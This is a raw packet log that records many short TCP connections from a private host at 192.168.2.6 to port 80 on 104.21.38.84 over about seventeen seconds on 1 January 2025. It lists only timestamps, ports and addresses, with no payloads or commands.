Jan 1, 2025 16:03:25.594692945 CET	62736	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:25.647399902 CET	80	62737	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:25.688431025 CET	62737	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:25.801918983 CET	80	62736	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:25.817183971 CET	80	62737	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:25.844706059 CET	62736	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:25.860434055 CET	62737	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:25.934468031 CET	62736	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:25.934536934 CET	62737	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:25.934797049 CET	62675	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:25.934866905 CET	62696	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:25.935323000 CET	62738	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:25.939528942 CET	80	62736	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:25.940129042 CET	80	62738	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:25.940200090 CET	62736	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:25.940242052 CET	62738	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:25.940326929 CET	62738	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:25.940411091 CET	80	62737	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:25.940459013 CET	62737	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:25.945097923 CET	80	62738	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:26.297955990 CET	62738	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:26.302782059 CET	80	62738	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:26.384270906 CET	80	62738	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:26.438476086 CET	62738	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:26.567681074 CET	80	62738	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:26.610326052 CET	62738	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:26.683463097 CET	62738	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:26.684132099 CET	62739	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:26.688556910 CET	80	62738	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:26.688626051 CET	62738	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:26.689004898 CET	80	62739	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:26.689085960 CET	62739	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:26.689188004 CET	62739	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:26.693896055 CET	80	62739	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:27.070770025 CET	62739	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:27.075680971 CET	80	62739	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:27.143794060 CET	80	62739	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:27.188471079 CET	62739	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:27.424130917 CET	80	62739	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:27.469691038 CET	62739	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:27.544265985 CET	62739	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:27.545047045 CET	62740	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:27.549388885 CET	80	62739	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:27.549442053 CET	62739	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:27.549890995 CET	80	62740	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:27.549958944 CET	62740	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:27.550111055 CET	62740	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:27.554898024 CET	80	62740	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:27.907294035 CET	62740	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:27.912245035 CET	80	62740	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:28.022033930 CET	80	62740	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:28.063481092 CET	62740	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:28.201001883 CET	80	62740	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:28.251064062 CET	62740	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:28.324014902 CET	62740	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:28.324748993 CET	62741	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:28.329164982 CET	80	62740	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:28.329524994 CET	80	62741	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:28.329579115 CET	62740	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:28.329615116 CET	62741	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:28.329705000 CET	62741	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:28.334402084 CET	80	62741	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:28.688607931 CET	62741	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:28.693466902 CET	80	62741	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:28.776361942 CET	80	62741	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:28.829179049 CET	62741	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:29.030249119 CET	80	62741	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:29.030612946 CET	62741	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:29.035651922 CET	80	62741	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:29.038296938 CET	62741	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:29.156029940 CET	62742	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:29.160955906 CET	80	62742	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:29.162309885 CET	62742	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:29.162441969 CET	62742	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:29.167258024 CET	80	62742	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:29.516829014 CET	62742	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:29.521713018 CET	80	62742	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:29.606937885 CET	80	62742	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:29.657295942 CET	62742	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:29.867603064 CET	80	62742	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:29.922842026 CET	62742	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:29.980108976 CET	62742	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:29.980846882 CET	62743	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:29.985191107 CET	80	62742	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:29.985251904 CET	62742	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:29.985662937 CET	80	62743	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:29.985730886 CET	62743	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:29.985847950 CET	62743	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:29.990655899 CET	80	62743	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:30.344861031 CET	62743	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:30.349737883 CET	80	62743	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:30.429852009 CET	80	62743	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:30.482110023 CET	62743	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:30.602660894 CET	80	62743	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:30.657229900 CET	62743	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:30.715810061 CET	62743	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:30.716523886 CET	62744	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:30.720890999 CET	80	62743	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:30.720947027 CET	62743	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:30.721348047 CET	80	62744	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:30.721411943 CET	62744	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:30.721527100 CET	62744	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:30.726324081 CET	80	62744	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:30.816584110 CET	62745	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:30.816696882 CET	62744	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:30.821459055 CET	80	62745	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:30.821542978 CET	62745	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:30.831120014 CET	62745	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:30.835958958 CET	80	62745	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:30.866666079 CET	80	62744	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:30.952033997 CET	62746	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:30.956872940 CET	80	62746	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:30.956968069 CET	62746	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:30.957109928 CET	62746	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:30.961890936 CET	80	62746	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:31.099597931 CET	80	62744	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:31.099683046 CET	62744	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:31.188606977 CET	62745	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:31.193562984 CET	80	62745	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:31.193645954 CET	80	62745	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:31.271480083 CET	80	62745	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:31.313563108 CET	62746	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:31.313570023 CET	62745	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:31.318463087 CET	80	62746	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:31.411168098 CET	80	62746	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:31.454133987 CET	62746	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:31.575083971 CET	80	62745	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:31.625971079 CET	62745	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:31.664926052 CET	80	62746	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:31.719727039 CET	62746	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:31.778217077 CET	62746	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:31.778218031 CET	62745	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:31.779043913 CET	62747	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:31.783303976 CET	80	62746	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:31.783598900 CET	80	62745	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:31.783668995 CET	62746	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:31.783689022 CET	62745	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:31.783798933 CET	80	62747	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:31.783869028 CET	62747	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:31.783994913 CET	62747	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:31.788750887 CET	80	62747	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:32.141781092 CET	62747	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:32.146672010 CET	80	62747	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:32.237021923 CET	80	62747	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:32.282228947 CET	62747	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:32.431332111 CET	80	62747	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:32.485351086 CET	62747	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:32.545919895 CET	62748	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:32.550889015 CET	80	62748	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:32.550977945 CET	62748	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:32.551105022 CET	62748	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:32.555855989 CET	80	62748	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:32.907444954 CET	62748	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:32.912412882 CET	80	62748	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:33.023648024 CET	80	62748	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:33.079085112 CET	62748	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:33.301673889 CET	80	62748	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:33.344719887 CET	62748	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:33.419389009 CET	62748	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:33.420104027 CET	62749	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:33.424490929 CET	80	62748	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:33.424542904 CET	62748	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:33.424983978 CET	80	62749	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:33.425046921 CET	62749	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:33.425148964 CET	62749	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:33.429898024 CET	80	62749	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:33.782366991 CET	62749	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:33.787218094 CET	80	62749	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:33.870084047 CET	80	62749	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:33.922853947 CET	62749	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:34.124664068 CET	80	62749	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:34.172862053 CET	62749	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:34.248779058 CET	62749	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:34.249515057 CET	62750	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:34.253796101 CET	80	62749	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:34.253896952 CET	62749	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:34.254374027 CET	80	62750	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:34.254450083 CET	62750	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:34.254590988 CET	62750	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:34.259382963 CET	80	62750	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:34.611102104 CET	62750	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:34.617198944 CET	80	62750	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:34.698385000 CET	80	62750	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:34.751070976 CET	62750	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:34.984730959 CET	80	62750	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:35.032222986 CET	62750	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:35.106703997 CET	62750	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:35.107486963 CET	62751	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:35.111726046 CET	80	62750	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:35.111797094 CET	62750	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:35.112267017 CET	80	62751	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:35.112340927 CET	62751	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:35.112445116 CET	62751	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:35.117175102 CET	80	62751	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:35.469870090 CET	62751	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:35.475334883 CET	80	62751	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:35.557209969 CET	80	62751	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:35.610415936 CET	62751	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:35.822882891 CET	80	62751	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:35.865015984 CET	62751	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:35.989335060 CET	62751	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:35.990036011 CET	62752	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:35.994385958 CET	80	62751	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:35.994427919 CET	62751	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:35.994854927 CET	80	62752	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:35.994910955 CET	62752	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:35.995052099 CET	62752	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:35.999794960 CET	80	62752	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:36.345165014 CET	62752	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:36.350068092 CET	80	62752	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:36.438611984 CET	80	62752	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:36.485371113 CET	62752	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:36.581279039 CET	62753	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:36.581496000 CET	62752	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:36.586133957 CET	80	62753	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:36.586555958 CET	80	62752	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:36.586625099 CET	62752	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:36.586632013 CET	62753	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:36.586746931 CET	62753	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:36.591545105 CET	80	62753	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:36.733618021 CET	62754	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:36.738481998 CET	80	62754	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:36.738981962 CET	62754	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:36.739120960 CET	62754	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:36.743812084 CET	80	62754	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:36.938668966 CET	62753	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:36.943489075 CET	80	62753	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:36.943686962 CET	80	62753	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:37.030456066 CET	80	62753	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:37.079113960 CET	62753	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:37.094784975 CET	62754	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:37.099625111 CET	80	62754	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:37.183365107 CET	80	62754	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:37.235363007 CET	62754	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:37.320019007 CET	80	62753	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:37.376004934 CET	62753	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:37.461478949 CET	80	62754	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:37.516608000 CET	62754	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:37.574479103 CET	62754	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:37.574480057 CET	62753	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:37.575290918 CET	62755	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:37.579463005 CET	80	62754	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:37.579533100 CET	62754	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:37.579848051 CET	80	62753	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:37.579900026 CET	62753	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:37.580162048 CET	80	62755	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:37.580229998 CET	62755	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:37.580358982 CET	62755	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:37.585202932 CET	80	62755	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:37.938699961 CET	62755	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:37.943614006 CET	80	62755	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:38.034554005 CET	80	62755	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:38.079139948 CET	62755	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:38.290910959 CET	80	62755	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:38.344788074 CET	62755	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:38.424020052 CET	62756	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:38.428908110 CET	80	62756	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:38.429120064 CET	62756	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:38.429307938 CET	62756	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:38.434123039 CET	80	62756	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:38.782418966 CET	62756	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:38.787347078 CET	80	62756	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:38.908606052 CET	80	62756	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:38.954132080 CET	62756	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:39.168900967 CET	80	62756	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:39.219754934 CET	62756	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:39.293814898 CET	62756	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:39.294511080 CET	62757	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:39.298892021 CET	80	62756	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:39.298945904 CET	62756	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:39.299349070 CET	80	62757	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:39.299413919 CET	62757	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:39.299521923 CET	62757	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:39.304261923 CET	80	62757	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:39.658600092 CET	62757	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:39.663481951 CET	80	62757	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:39.751976967 CET	80	62757	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:39.797879934 CET	62757	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:39.925379038 CET	80	62757	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:39.969738007 CET	62757	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:40.046957016 CET	62755	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:40.047281027 CET	62757	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:40.048093081 CET	62758	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:40.052999020 CET	80	62757	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:40.053052902 CET	62757	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:40.053369999 CET	80	62758	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:40.053442001 CET	62758	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:40.053627968 CET	62758	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:40.059241056 CET	80	62758	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:40.408674002 CET	62758	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:40.413551092 CET	80	62758	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:40.506849051 CET	80	62758	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:40.548082113 CET	62758	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:40.771244049 CET	80	62758	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:40.813513041 CET	62758	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:40.889343977 CET	62758	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:40.890392065 CET	62759	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:40.894445896 CET	80	62758	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:40.894519091 CET	62758	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:40.895165920 CET	80	62759	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:40.895256042 CET	62759	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:40.895390034 CET	62759	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:40.900172949 CET	80	62759	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:41.251220942 CET	62759	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:41.256119013 CET	80	62759	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:41.359993935 CET	80	62759	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:41.407248020 CET	62759	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:41.547441959 CET	80	62759	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:41.594763994 CET	62759	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:41.670006990 CET	62759	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:41.670790911 CET	62760	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:41.675039053 CET	80	62759	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:41.675095081 CET	62759	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:41.675544977 CET	80	62760	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:41.675616980 CET	62760	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:41.675725937 CET	62760	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:41.680437088 CET	80	62760	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:42.032387972 CET	62760	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:42.037250996 CET	80	62760	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:42.120174885 CET	80	62760	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:42.173053980 CET	62760	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:42.291538954 CET	80	62760	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:42.330835104 CET	62761	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:42.335676908 CET	80	62761	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:42.335901022 CET	62761	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:42.335901022 CET	62761	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:42.340709925 CET	80	62761	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:42.346404076 CET	62760	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:42.378343105 CET	80	62760	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:42.386424065 CET	62761	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:42.423115969 CET	62760	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:42.434700966 CET	80	62761	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:42.499531031 CET	62760	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:42.499531031 CET	62762	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:42.504415035 CET	80	62762	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:42.504585981 CET	80	62760	104.21.38.84	192.168.2.6
Jan 1, 2025 16:03:42.506392002 CET	62760	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:42.506392002 CET	62762	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:42.510298967 CET	62762	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:03:42.515103102 CET	80	62762	104.21.38.84	192.168.2.6
